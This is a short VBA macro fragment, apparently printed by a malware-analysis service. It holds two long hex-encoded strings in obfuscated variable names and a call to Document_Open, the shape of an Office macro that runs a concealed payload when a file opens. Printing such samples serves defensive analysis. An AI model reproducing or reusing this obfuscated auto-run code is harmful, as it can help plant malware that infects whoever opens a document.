VG_Y = "2F5D5D7F7279453A27595D3F5D8A645D5D8E5D5D805DBB5D5D5D5D5D47365D5D2C5D5D282D5D5D4F5D5D935B605D5D5D645F7D805D5D915D5D689A8C5D1F5D5D5D7F5D695D5D5D5D5D20287B5D245D5D8C5D635D3E885D675D356A935D5D975D5D5D26825D5D5D891E8F5D815D935D5D2E339B965D7A5D5D5D5D5D395D2C825D2E5D5D2884465D9A3D5D485D335D5D5D385D5D"
Dim ZWG_COE As String
ZWG_COE = "86915D71A65D306E5D81829D5D835D435D5D5D5D5D81825D5D5D326D42485D5D6F5D66905C5D6B5D4A7C5D5D853E5A28835D585D4E8A2E545D375D5D685D5D565D5D5D5D845D685D4A5D225D5D695D5D495D5D4F5D5D305D435D5D728A5D7A535D9A925D5D648F20215D2985225D5D5D26677C5D597226425D355D815F905D9A668237966A9B4C5D665D5D5D75805D5D5D315D5D566D5D405D5D48565D5D926F5D5D91385D5D4D4B945D5D805D459A2E5D5D7D5D5D5D495D5D485D625D2E5D5D4F235D30725D5D665D5D649C5D66725D8B375D615D5D5D277B5D6A5D535D84215D4F5D77885D7C35315D625D435D5D5D5D8D7F913E9461685D908D305D385D985D345D85217B5D9B5D5D875D5D7F3353225D5D5D5D5D2F773522765D8250928D66895D309C"

    Document_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.